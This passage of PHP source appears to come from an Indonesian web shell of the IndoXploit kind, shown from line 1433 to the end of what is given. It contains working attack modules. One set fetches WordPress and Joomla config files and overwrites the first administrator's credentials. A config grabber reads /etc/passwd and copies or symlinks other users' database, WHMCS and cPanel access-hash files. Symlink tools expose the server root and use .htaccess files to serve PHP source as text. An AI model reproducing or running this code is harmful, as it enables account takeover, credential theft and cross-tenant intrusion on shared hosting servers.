  1433.                 echo "<font color=blue>[</font> $target <font color=blue>]</font></font><br>";
  1434.             }
  1435.             $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  1436.             if(!$conn OR !$db OR !$update) {
  1437.                 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  1438.                 mysql_close($conn);
  1439.             } else {
  1440.                     echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  1441.                     echo "[+] username: <font color=lime>$user</font><br>";
  1442.                     echo "[+] password: <font color=lime>$pass</font><br><br>";    
  1443.                    
  1444.                 mysql_close($conn);
  1445.             }
  1446.         }
  1447.     }  
  1448.  
  1449. }
  1450. elseif($_GET['pake'] == 'auto_cu_joomla') {
  1451. if($_POST['gass']) {
  1452.     echo "<center><h1>Joomla Auto Change User 2</h1>
  1453.         <form method='post'>
  1454.         Link Config: <br>
  1455.         <textarea name='link' style='width: 450px; height:250px;'>";
  1456.     UrlLoop($_POST['linkconf'],'joomla');  
  1457.     echo"</textarea><br>
  1458.         <input type='submit' style='width: 450px;' name='auto_cu_joomla' value='Hajar!!'>
  1459.         </form></center>";
  1460. }   else {
  1461.         echo "<center><h1>Joomla Auto Change User 2</h1>
  1462.         <form method='post'>
  1463.         Link Config: <br>
  1464.         <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/config/'><br>
  1465.         <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
  1466.         </form></center>";
  1467.     }
  1468. if($_POST['auto_cu_joomla']) {
  1469.    
  1470.         function anucurl($sites) {
  1471.             $ch = curl_init($sites);
  1472.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1473.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1474.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1475.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1476.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1477.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1478.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1479.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1480.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  1481.             $data = curl_exec($ch);
  1482.                   curl_close($ch);
  1483.             return $data;
  1484.         }
  1485.         $link = explode("\r\n", $_POST['link']);
  1486.         $user = "indoxploit";
  1487.         $pass = "indoxploit";
  1488.         $passx = md5($pass);
  1489.         foreach($link as $dir_config) {
  1490.             $config = anucurl($dir_config);
  1491.                     $dbhost = ambilkata($config,"host = '","'");
  1492.                     $dbuser = ambilkata($config,"user = '","'");
  1493.                     $dbpass = ambilkata($config,"password = '","'");
  1494.                     $dbname = ambilkata($config,"db = '","'");
  1495.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  1496.                     $prefix = $dbprefix."users";
  1497.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1498.                     $db = mysql_select_db($dbname);
  1499.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1500.                     $result = mysql_fetch_array($q);
  1501.                     $id = $result['id'];
  1502.                     $site = ambilkata($config,"sitename = '","'");
  1503.                     $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
  1504.                     echo "Config => ".$dir_config."<br>";
  1505.                     echo "CMS => Joomla<br>";
  1506.                     if($site == '') {
  1507.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1508.                     } else {
  1509.                         echo "Sitename => $site<br>";
  1510.                     }
  1511.                     if(!$update OR !$conn OR !$db) {
  1512.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1513.                     } else {
  1514.                         echo "Status => Done , Username : <font color=lime>$user</font> Password : <font color=lime>$pass</font><br><br>";
  1515.                     }
  1516.                     mysql_close($conn);
  1517.                     }
  1518.     }  
  1519. } elseif($_GET['config'] == 'grabber') {
  1520.             if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
  1521. echo '<script>alert("Tidak bisa di gunakan di server windows")</script>';
  1522. exit;
  1523. }
  1524.     if($_POST){ if($_POST['config'] == 'symvhosts') {
  1525.         @mkdir("symvhosts", 0777);
  1526. exe("ln -s / symvhosts/root");
  1527. $htaccess="Options Indexes FollowSymLinks
  1528. DirectoryIndex tokeichun69.htm
  1529. AddType text/plain .php
  1530. AddHandler text/plain .php
  1531. Satisfy Any";
  1532. @file_put_contents("symvhosts/.htaccess",$htaccess);
  1533.         $etc_passwd=$_POST['passwd'];
  1534.    
  1535.     $etc_passwd=explode("\n",$etc_passwd);
  1536. foreach($etc_passwd as $passwd){
  1537. $pawd=explode(":",$passwd);
  1538. $user =$pawd[5];
  1539. $jembod = preg_replace('/\/var\/www\/vhosts\//', '', $user);
  1540. if (preg_match('/vhosts/i',$user)){
  1541. exe("ln -s ".$user."/httpdocs/wp-config.php symvhosts/".$jembod."-Wordpress.txt");
  1542. exe("ln -s ".$user."/httpdocs/configuration.php symvhosts/".$jembod."-Joomla.txt");
  1543. exe("ln -s ".$user."/httpdocs/config/koneksi.php symvhosts/".$jembod."-Lokomedia.txt");
  1544. exe("ln -s ".$user."/httpdocs/forum/config.php symvhosts/".$jembod."-phpBB.txt");
  1545. exe("ln -s ".$user."/httpdocs/sites/default/settings.php symvhosts/".$jembod."-Drupal.txt");
  1546. exe("ln -s ".$user."/httpdocs/config/settings.inc.php symvhosts/".$jembod."-PrestaShop.txt");
  1547. exe("ln -s ".$user."/httpdocs/app/etc/local.xml symvhosts/".$jembod."-Magento.txt");
  1548. exe("ln -s ".$user."/httpdocs/admin/config.php symvhosts/".$jembod."-OpenCart.txt");
  1549. exe("ln -s ".$user."/httpdocs/application/config/database.php symvhosts/".$jembod."-Ellislab.txt");
  1550. }}}
  1551. if($_POST['config'] == 'symlink') {
  1552. @mkdir("symconfig", 0777);
  1553. @symlink("/","symconfig/root");
  1554. $htaccess="Options Indexes FollowSymLinks
  1555. DirectoryIndex tokeichun69.htm
  1556. AddType text/plain .php
  1557. AddHandler text/plain .php
  1558. Satisfy Any";
  1559. @file_put_contents("symconfig/.htaccess",$htaccess);}
  1560. if($_POST['config'] == '404') {
  1561. @mkdir("sym404", 0777);
  1562. @symlink("/","sym404/root");
  1563. $htaccess="Options Indexes FollowSymLinks
  1564. DirectoryIndex tokeichun69.htm
  1565. AddType text/plain .php
  1566. AddHandler text/plain .php
  1567. Satisfy Any
  1568. IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
  1569. IndexIgnore *.txt404
  1570. RewriteEngine On
  1571. RewriteCond %{REQUEST_FILENAME} ^.*sym404 [NC]
  1572. RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
  1573. @file_put_contents("sym404/.htaccess",$htaccess);
  1574. }
  1575. if($_POST['config'] == 'grab') {
  1576.                         mkdir("configg", 0777);
  1577.                         $isi_htc = "Options all\nRequire None\nSatisfy Any";
  1578.                         $htc = fopen("configg/.htaccess","w");
  1579.                         fwrite($htc, $isi_htc);
  1580. }
  1581. $passwd = $_POST['passwd'];
  1582.  
  1583. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  1584. foreach($user_config[1] as $user_tokeichun) {
  1585. $grab_config = array(
  1586. "/home/$user_tokeichun/.accesshash" => "WHM-accesshash",
  1587. "/home/$user_tokeichun/public_html/config/koneksi.php" => "Lokomedia",
  1588. "/home/$user_tokeichun/public_html/forum/config.php" => "phpBB",
  1589. "/home/$user_tokeichun/public_html/sites/default/settings.php" => "Drupal",
  1590. "/home/$user_tokeichun/public_html/config/settings.inc.php" => "PrestaShop",
  1591. "/home/$user_tokeichun/public_html/app/etc/local.xml" => "Magento",
  1592. "/home/$user_tokeichun/public_html/admin/config.php" => "OpenCart",
  1593. "/home/$user_tokeichun/public_html/application/config/database.php" => "Ellislab",
  1594. "/home/$user_tokeichun/public_html/vb/includes/config.php" => "Vbulletin",
  1595. "/home/$user_tokeichun/public_html/includes/config.php" => "Vbulletin",
  1596. "/home/$user_tokeichun/public_html/forum/includes/config.php" => "Vbulletin",
  1597. "/home/$user_tokeichun/public_html/forums/includes/config.php" => "Vbulletin",
  1598. "/home/$user_tokeichun/public_html/cc/includes/config.php" => "Vbulletin",
  1599. "/home/$user_tokeichun/public_html/inc/config.php" => "MyBB",
  1600. "/home/$user_tokeichun/public_html/includes/configure.php" => "OsCommerce",
  1601. "/home/$user_tokeichun/public_html/shop/includes/configure.php" => "OsCommerce",
  1602. "/home/$user_tokeichun/public_html/os/includes/configure.php" => "OsCommerce",
  1603. "/home/$user_tokeichun/public_html/oscom/includes/configure.php" => "OsCommerce",
  1604. "/home/$user_tokeichun/public_html/products/includes/configure.php" => "OsCommerce",
  1605. "/home/$user_tokeichun/public_html/cart/includes/configure.php" => "OsCommerce",
  1606. "/home/$user_tokeichun/public_html/inc/conf_global.php" => "IPB",
  1607. "/home/$user_tokeichun/public_html/wp-config.php" => "Wordpress",
  1608. "/home/$user_tokeichun/public_html/wp/test/wp-config.php" => "Wordpress",
  1609. "/home/$user_tokeichun/public_html/blog/wp-config.php" => "Wordpress",
  1610. "/home/$user_tokeichun/public_html/beta/wp-config.php" => "Wordpress",
  1611. "/home/$user_tokeichun/public_html/portal/wp-config.php" => "Wordpress",
  1612. "/home/$user_tokeichun/public_html/site/wp-config.php" => "Wordpress",
  1613. "/home/$user_tokeichun/public_html/wp/wp-config.php" => "Wordpress",
  1614. "/home/$user_tokeichun/public_html/WP/wp-config.php" => "Wordpress",
  1615. "/home/$user_tokeichun/public_html/news/wp-config.php" => "Wordpress",
  1616. "/home/$user_tokeichun/public_html/wordpress/wp-config.php" => "Wordpress",
  1617. "/home/$user_tokeichun/public_html/test/wp-config.php" => "Wordpress",
  1618. "/home/$user_tokeichun/public_html/demo/wp-config.php" => "Wordpress",
  1619. "/home/$user_tokeichun/public_html/home/wp-config.php" => "Wordpress",
  1620. "/home/$user_tokeichun/public_html/v1/wp-config.php" => "Wordpress",
  1621. "/home/$user_tokeichun/public_html/v2/wp-config.php" => "Wordpress",
  1622. "/home/$user_tokeichun/public_html/press/wp-config.php" => "Wordpress",
  1623. "/home/$user_tokeichun/public_html/new/wp-config.php" => "Wordpress",
  1624. "/home/$user_tokeichun/public_html/blogs/wp-config.php" => "Wordpress",
  1625. "/home/$user_tokeichun/public_html/configuration.php" => "Joomla",
  1626. "/home/$user_tokeichun/public_html/blog/configuration.php" => "Joomla",
  1627. "/home/$user_tokeichun/public_html/submitticket.php" => "^WHMCS",
  1628. "/home/$user_tokeichun/public_html/cms/configuration.php" => "Joomla",
  1629. "/home/$user_tokeichun/public_html/beta/configuration.php" => "Joomla",
  1630. "/home/$user_tokeichun/public_html/portal/configuration.php" => "Joomla",
  1631. "/home/$user_tokeichun/public_html/site/configuration.php" => "Joomla",
  1632. "/home/$user_tokeichun/public_html/main/configuration.php" => "Joomla",
  1633. "/home/$user_tokeichun/public_html/home/configuration.php" => "Joomla",
  1634. "/home/$user_tokeichun/public_html/demo/configuration.php" => "Joomla",
  1635. "/home/$user_tokeichun/public_html/test/configuration.php" => "Joomla",
  1636. "/home/$user_tokeichun/public_html/v1/configuration.php" => "Joomla",
  1637. "/home/$user_tokeichun/public_html/v2/configuration.php" => "Joomla",
  1638. "/home/$user_tokeichun/public_html/joomla/configuration.php" => "Joomla",
  1639. "/home/$user_tokeichun/public_html/new/configuration.php" => "Joomla",
  1640. "/home/$user_tokeichun/public_html/WHMCS/submitticket.php" => "WHMCS",
  1641. "/home/$user_tokeichun/public_html/whmcs1/submitticket.php" => "WHMCS",
  1642. "/home/$user_tokeichun/public_html/Whmcs/submitticket.php" => "WHMCS",
  1643. "/home/$user_tokeichun/public_html/whmcs/submitticket.php" => "WHMCS",
  1644. "/home/$user_tokeichun/public_html/whmcs/submitticket.php" => "WHMCS",
  1645. "/home/$user_tokeichun/public_html/WHMC/submitticket.php" => "WHMCS",
  1646. "/home/$user_tokeichun/public_html/Whmc/submitticket.php" => "WHMCS",
  1647. "/home/$user_tokeichun/public_html/whmc/submitticket.php" => "WHMCS",
  1648. "/home/$user_tokeichun/public_html/WHM/submitticket.php" => "WHMCS",
  1649. "/home/$user_tokeichun/public_html/Whm/submitticket.php" => "WHMCS",
  1650. "/home/$user_tokeichun/public_html/whm/submitticket.php" => "WHMCS",
  1651. "/home/$user_tokeichun/public_html/HOST/submitticket.php" => "WHMCS",
  1652. "/home/$user_tokeichun/public_html/Host/submitticket.php" => "WHMCS",
  1653. "/home/$user_tokeichun/public_html/host/submitticket.php" => "WHMCS",
  1654. "/home/$user_tokeichun/public_html/SUPPORTES/submitticket.php" => "WHMCS",
  1655. "/home/$user_tokeichun/public_html/Supportes/submitticket.php" => "WHMCS",
  1656. "/home/$user_tokeichun/public_html/supportes/submitticket.php" => "WHMCS",
  1657. "/home/$user_tokeichun/public_html/domains/submitticket.php" => "WHMCS",
  1658. "/home/$user_tokeichun/public_html/domain/submitticket.php" => "WHMCS",
  1659. "/home/$user_tokeichun/public_html/Hosting/submitticket.php" => "WHMCS",
  1660. "/home/$user_tokeichun/public_html/HOSTING/submitticket.php" => "WHMCS",
  1661. "/home/$user_tokeichun/public_html/hosting/submitticket.php" => "WHMCS",
  1662. "/home/$user_tokeichun/public_html/CART/submitticket.php" => "WHMCS",
  1663. "/home/$user_tokeichun/public_html/Cart/submitticket.php" => "WHMCS",
  1664. "/home/$user_tokeichun/public_html/cart/submitticket.php" => "WHMCS",
  1665. "/home/$user_tokeichun/public_html/ORDER/submitticket.php" => "WHMCS",
  1666. "/home/$user_tokeichun/public_html/Order/submitticket.php" => "WHMCS",
  1667. "/home/$user_tokeichun/public_html/order/submitticket.php" => "WHMCS",
  1668. "/home/$user_tokeichun/public_html/CLIENT/submitticket.php" => "WHMCS",
  1669. "/home/$user_tokeichun/public_html/Client/submitticket.php" => "WHMCS",
  1670. "/home/$user_tokeichun/public_html/client/submitticket.php" => "WHMCS",
  1671. "/home/$user_tokeichun/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
  1672. "/home/$user_tokeichun/public_html/Clientarea/submitticket.php" => "WHMCS",
  1673. "/home/$user_tokeichun/public_html/clientarea/submitticket.php" => "WHMCS",
  1674. "/home/$user_tokeichun/public_html/SUPPORT/submitticket.php" => "WHMCS",
  1675. "/home/$user_tokeichun/public_html/Support/submitticket.php" => "WHMCS",
  1676. "/home/$user_tokeichun/public_html/support/submitticket.php" => "WHMCS",
  1677. "/home/$user_tokeichun/public_html/BILLING/submitticket.php" => "WHMCS",
  1678. "/home/$user_tokeichun/public_html/Billing/submitticket.php" => "WHMCS",
  1679. "/home/$user_tokeichun/public_html/billing/submitticket.php" => "WHMCS",
  1680. "/home/$user_tokeichun/public_html/BUY/submitticket.php" => "WHMCS",
  1681. "/home/$user_tokeichun/public_html/Buy/submitticket.php" => "WHMCS",
  1682. "/home/$user_tokeichun/public_html/buy/submitticket.php" => "WHMCS",
  1683. "/home/$user_tokeichun/public_html/MANAGE/submitticket.php" => "WHMCS",
  1684. "/home/$user_tokeichun/public_html/Manage/submitticket.php" => "WHMCS",
  1685. "/home/$user_tokeichun/public_html/manage/submitticket.php" => "WHMCS",
  1686. "/home/$user_tokeichun/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
  1687. "/home/$user_tokeichun/public_html/ClientSupport/submitticket.php" => "WHMCS",
  1688. "/home/$user_tokeichun/public_html/Clientsupport/submitticket.php" => "WHMCS",
  1689. "/home/$user_tokeichun/public_html/clientsupport/submitticket.php" => "WHMCS",
  1690. "/home/$user_tokeichun/public_html/CHECKOUT/submitticket.php" => "WHMCS",
  1691. "/home/$user_tokeichun/public_html/Checkout/submitticket.php" => "WHMCS",
  1692. "/home/$user_tokeichun/public_html/checkout/submitticket.php" => "WHMCS",
  1693. "/home/$user_tokeichun/public_html/BILLINGS/submitticket.php" => "WHMCS",
  1694. "/home/$user_tokeichun/public_html/Billings/submitticket.php" => "WHMCS",
  1695. "/home/$user_tokeichun/public_html/billings/submitticket.php" => "WHMCS",
  1696. "/home/$user_tokeichun/public_html/BASKET/submitticket.php" => "WHMCS",
  1697. "/home/$user_tokeichun/public_html/Basket/submitticket.php" => "WHMCS",
  1698. "/home/$user_tokeichun/public_html/basket/submitticket.php" => "WHMCS",
  1699. "/home/$user_tokeichun/public_html/SECURE/submitticket.php" => "WHMCS",
  1700. "/home/$user_tokeichun/public_html/Secure/submitticket.php" => "WHMCS",
  1701. "/home/$user_tokeichun/public_html/secure/submitticket.php" => "WHMCS",
  1702. "/home/$user_tokeichun/public_html/SALES/submitticket.php" => "WHMCS",
  1703. "/home/$user_tokeichun/public_html/Sales/submitticket.php" => "WHMCS",
  1704. "/home/$user_tokeichun/public_html/sales/submitticket.php" => "WHMCS",
  1705. "/home/$user_tokeichun/public_html/BILL/submitticket.php" => "WHMCS",
  1706. "/home/$user_tokeichun/public_html/Bill/submitticket.php" => "WHMCS",
  1707. "/home/$user_tokeichun/public_html/bill/submitticket.php" => "WHMCS",
  1708. "/home/$user_tokeichun/public_html/PURCHASE/submitticket.php" => "WHMCS",
  1709. "/home/$user_tokeichun/public_html/Purchase/submitticket.php" => "WHMCS",
  1710. "/home/$user_tokeichun/public_html/purchase/submitticket.php" => "WHMCS",
  1711. "/home/$user_tokeichun/public_html/ACCOUNT/submitticket.php" => "WHMCS",
  1712. "/home/$user_tokeichun/public_html/Account/submitticket.php" => "WHMCS",
  1713. "/home/$user_tokeichun/public_html/account/submitticket.php" => "WHMCS",
  1714. "/home/$user_tokeichun/public_html/USER/submitticket.php" => "WHMCS",
  1715. "/home/$user_tokeichun/public_html/User/submitticket.php" => "WHMCS",
  1716. "/home/$user_tokeichun/public_html/user/submitticket.php" => "WHMCS",
  1717. "/home/$user_tokeichun/public_html/CLIENTS/submitticket.php" => "WHMCS",
  1718. "/home/$user_tokeichun/public_html/Clients/submitticket.php" => "WHMCS",
  1719. "/home/$user_tokeichun/public_html/clients/submitticket.php" => "WHMCS",
  1720. "/home/$user_tokeichun/public_html/BILLINGS/submitticket.php" => "WHMCS",
  1721. "/home/$user_tokeichun/public_html/Billings/submitticket.php" => "WHMCS",
  1722. "/home/$user_tokeichun/public_html/billings/submitticket.php" => "WHMCS",
  1723. "/home/$user_tokeichun/public_html/MY/submitticket.php" => "WHMCS",
  1724. "/home/$user_tokeichun/public_html/My/submitticket.php" => "WHMCS",
  1725. "/home/$user_tokeichun/public_html/my/submitticket.php" => "WHMCS",
  1726. "/home/$user_tokeichun/public_html/secure/whm/submitticket.php" => "WHMCS",
  1727. "/home/$user_tokeichun/public_html/secure/whmcs/submitticket.php" => "WHMCS",
  1728. "/home/$user_tokeichun/public_html/panel/submitticket.php" => "WHMCS",
  1729. "/home/$user_tokeichun/public_html/clientes/submitticket.php" => "WHMCS",
  1730. "/home/$user_tokeichun/public_html/cliente/submitticket.php" => "WHMCS",
  1731. "/home/$user_tokeichun/public_html/support/order/submitticket.php" => "WHMCS",
  1732. "/home/$user_tokeichun/public_html/bb-config.php" => "BoxBilling",
  1733. "/home/$user_tokeichun/public_html/boxbilling/bb-config.php" => "BoxBilling",
  1734. "/home/$user_tokeichun/public_html/box/bb-config.php" => "BoxBilling",
  1735. "/home/$user_tokeichun/public_html/host/bb-config.php" => "BoxBilling",
  1736. "/home/$user_tokeichun/public_html/Host/bb-config.php" => "BoxBilling",
  1737. "/home/$user_tokeichun/public_html/supportes/bb-config.php" => "BoxBilling",
  1738. "/home/$user_tokeichun/public_html/support/bb-config.php" => "BoxBilling",
  1739. "/home/$user_tokeichun/public_html/hosting/bb-config.php" => "BoxBilling",
  1740. "/home/$user_tokeichun/public_html/cart/bb-config.php" => "BoxBilling",
  1741. "/home/$user_tokeichun/public_html/order/bb-config.php" => "BoxBilling",
  1742. "/home/$user_tokeichun/public_html/client/bb-config.php" => "BoxBilling",
  1743. "/home/$user_tokeichun/public_html/clients/bb-config.php" => "BoxBilling",
  1744. "/home/$user_tokeichun/public_html/cliente/bb-config.php" => "BoxBilling",
  1745. "/home/$user_tokeichun/public_html/clientes/bb-config.php" => "BoxBilling",
  1746. "/home/$user_tokeichun/public_html/billing/bb-config.php" => "BoxBilling",
  1747. "/home/$user_tokeichun/public_html/billings/bb-config.php" => "BoxBilling",
  1748. "/home/$user_tokeichun/public_html/my/bb-config.php" => "BoxBilling",
  1749. "/home/$user_tokeichun/public_html/secure/bb-config.php" => "BoxBilling",
  1750. "/home/$user_tokeichun/public_html/support/order/bb-config.php" => "BoxBilling",
  1751. "/home/$user_tokeichun/public_html/includes/dist-configure.php" => "Zencart",
  1752. "/home/$user_tokeichun/public_html/zencart/includes/dist-configure.php" => "Zencart",
  1753. "/home/$user_tokeichun/public_html/products/includes/dist-configure.php" => "Zencart",
  1754. "/home/$user_tokeichun/public_html/cart/includes/dist-configure.php" => "Zencart",
  1755. "/home/$user_tokeichun/public_html/shop/includes/dist-configure.php" => "Zencart",
  1756. "/home/$user_tokeichun/public_html/includes/iso4217.php" => "Hostbills",
  1757. "/home/$user_tokeichun/public_html/hostbills/includes/iso4217.php" => "Hostbills",
  1758. "/home/$user_tokeichun/public_html/host/includes/iso4217.php" => "Hostbills",
  1759. "/home/$user_tokeichun/public_html/Host/includes/iso4217.php" => "Hostbills",
  1760. "/home/$user_tokeichun/public_html/supportes/includes/iso4217.php" => "Hostbills",
  1761. "/home/$user_tokeichun/public_html/support/includes/iso4217.php" => "Hostbills",
  1762. "/home/$user_tokeichun/public_html/hosting/includes/iso4217.php" => "Hostbills",
  1763. "/home/$user_tokeichun/public_html/cart/includes/iso4217.php" => "Hostbills",
  1764. "/home/$user_tokeichun/public_html/order/includes/iso4217.php" => "Hostbills",
  1765. "/home/$user_tokeichun/public_html/client/includes/iso4217.php" => "Hostbills",
  1766. "/home/$user_tokeichun/public_html/clients/includes/iso4217.php" => "Hostbills",
  1767. "/home/$user_tokeichun/public_html/cliente/includes/iso4217.php" => "Hostbills",
  1768. "/home/$user_tokeichun/public_html/clientes/includes/iso4217.php" => "Hostbills",
  1769. "/home/$user_tokeichun/public_html/billing/includes/iso4217.php" => "Hostbills",
  1770. "/home/$user_tokeichun/public_html/billings/includes/iso4217.php" => "Hostbills",
  1771. "/home/$user_tokeichun/public_html/my/includes/iso4217.php" => "Hostbills",
  1772. "/home/$user_tokeichun/public_html/secure/includes/iso4217.php" => "Hostbills",
  1773. "/home/$user_tokeichun/public_html/support/order/includes/iso4217.php" => "Hostbills"
  1774. );  
  1775.  
  1776. foreach($grab_config as $config => $nama_config) {
  1777.     if($_POST['config'] == 'grab') {
  1778. $ambil_config = file_get_contents($config);
  1779. if($ambil_config == '') {
  1780. } else {
  1781. $file_config = fopen("configg/$user_tokeichun-$nama_config.txt","w");
  1782. fputs($file_config,$ambil_config);
  1783. }
  1784. }
  1785. if($_POST['config'] == 'symlink') {
  1786. @symlink($config,"symconfig/".$user_tokeichun."-".$nama_config.".txt");
  1787. }
  1788. if($_POST['config'] == '404') {
  1789. $sym404=symlink($config,"sym404/".$user_tokeichun."-".$nama_config.".txt");
  1790. if($sym404){
  1791.     @mkdir("sym404/".$user_tokeichun."-".$nama_config.".txt404", 0777);
  1792.     $htaccess="Options Indexes FollowSymLinks
  1793. DirectoryIndex tokeichun.htm
  1794. HeaderName tokeichun.txt
  1795. Satisfy Any
  1796. IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
  1797. IndexIgnore *";
  1798.  
  1799. @file_put_contents("sym404/".$user_tokeichun."-".$nama_config.".txt404/.htaccess",$htaccess);
  1800.  
  1801. @symlink($config,"sym404/".$user_tokeichun."-".$nama_config.".txt404/tokeichun.txt");
  1802.  
  1803.     }
  1804.  
  1805. }
  1806.  
  1807.                     }    
  1808.         }  if($_POST['config'] == 'grab') {
  1809.             echo "<center><a href='?dir=$dir/configg'><font color=lime>Done</font></a></center>";
  1810.         }
  1811.     if($_POST['config'] == '404') {
  1812.         echo "<center>
  1813. <a href=\"sym404/root/\">SymlinkNya</a>
  1814. <br><a href=\"sym404/\">Configurations</a></center>";
  1815.     }
  1816.      if($_POST['config'] == 'symlink') {
  1817. echo "<center>
  1818. <a href=\"symconfig/root/\">Symlinknya</a>
  1819. <br><a href=\"symconfig/\">Configurations</a></center>";
  1820.             }if($_POST['config'] == 'symvhost') {
  1821. echo "<center>
  1822. <a href=\"symvhost/root/\">Root Server</a>
  1823. <br><a href=\"symvhost/\">Configurations</a></center>";
  1824.             }
  1825.        
  1826.        
  1827.         }else{
  1828.         echo "<form method=\"post\" action=\"\"><center>
  1829.         </center></select><br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1830.         echo include("/etc/passwd");
  1831.         echo "</textarea><br><br>
  1832.         <select class=\"select\" name=\"config\"  style=\"width: 450px;\" height=\"10\">
  1833.         <option value=\"grab\">Config Grab</option>
  1834.         <option value=\"symlink\">Symlink Config</option>
  1835.         <option value=\"404\">Config 404</option>
  1836.         <option value=\"symvhosts\">Vhosts Config Grabber</option><br><br><input type=\"submit\" value=\"Start!!\"></td></tr></center>\n";
  1837. }
  1838. }
  1839. elseif($_GET['pake'] == 'symlink') {
  1840. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1841. $d0mains = @file("/etc/named.conf");
  1842. ##httaces
  1843. if($d0mains){
  1844. @mkdir("scripts",0777);
  1845. @chdir("scripts");
  1846. @exe("ln -s / root");
  1847. $file3 = 'Options Indexes FollowSymLinks
  1848. DirectoryIndex tokeichun.html
  1849. AddType text/plain .php
  1850. AddHandler text/plain .php
  1851. Satisfy Any';
  1852. $fp3 = fopen('.htaccess','w');
  1853. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  1854. echo "
  1855. <table align=center border=1 style='width:60%;border-color:#333333;'>
  1856. <tr>
  1857. <td align=center><font size=2>S. No.</font></td>
  1858. <td align=center><font size=2>Domains</font></td>
  1859. <td align=center><font size=2>Users</font></td>
  1860. <td align=center><font size=2>Symlink</font></td>
  1861. </tr>";
  1862. $dcount = 1;
  1863. foreach($d0mains as $d0main){
  1864. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1865. flush();
  1866. if(strlen(trim($domains[1][0])) > 2){
  1867. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  1868. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  1869. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  1870. <td>".$user['name']."</td>
  1871. <td><a href='$full/scripts/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  1872. flush();
  1873. $dcount++;}}}
  1874. echo "</table>";
  1875. }else{
  1876. $TEST=@file('/etc/passwd');
  1877. if ($TEST){
  1878. @mkdir("scripts",0777);
  1879. @chdir("scripts");
  1880. exe("ln -s / root");
  1881. $file3 = 'Options Indexes FollowSymLinks
  1882. DirectoryIndex tokeichun.html
  1883. AddType text/plain .php
  1884. AddHandler text/plain .php
  1885. Satisfy Any';
  1886.  $fp3 = fopen('.htaccess','w');
  1887.  $fw3 = fwrite($fp3,$file3);
  1888.  @fclose($fp3);
  1889.  echo "
  1890.  <table align=center border=1><tr>
  1891.  <td align=center><font size=3>S. No.</font></td>
  1892.  <td align=center><font size=3>Users</font></td>
  1893.  <td align=center><font size=3>Symlink</font></td></tr>";
  1894.  $dcount = 1;
  1895.  $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  1896.  while(!feof($file)){
  1897.  $s = fgets($file);
  1898.  $matches = array();
  1899.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1900.  $matches = str_replace("home/","",$matches[1]);
  1901.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1902.  continue;
  1903.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  1904.  <td align=center><font class=txt>" . $matches . "</td>";
  1905.  echo "<td align=center><font class=txt><a href=$full/scripts/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  1906.  $dcount++;}fclose($file);
  1907.  echo "</table>";}else{if($os != "Windows"){@mkdir("scripts",0777);@chdir("scripts");@exe("ln -s / root");$file3 = '
  1908.  Options Indexes FollowSymLinks
  1909. DirectoryIndex tokeichun.html
  1910. AddType text/plain .php
  1911. AddHandler text/plain .php
  1912. Satisfy Any
  1913. ';
  1914.  $fp3 = fopen('.htaccess','w');
  1915.  $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  1916.  echo "
  1917.  <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  1918.  <table align=center border=1><tr>
  1919.  <td align=center><font size=3>ID</font></td>
  1920.  <td align=center><font size=3>Users</font></td>
  1921.  <td align=center><font size=3>Symlink</font></td></tr>";
  1922.  $temp = "";$val1 = 0;$val2 = 1000;
  1923.  for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  1924.  if ($uid)$temp .= join(':',$uid)."\n";}
  1925.  echo '<br/>';$temp = trim($temp);$file5 =
  1926.  fopen("test.txt","w");
  1927.  fputs($file5,$temp);
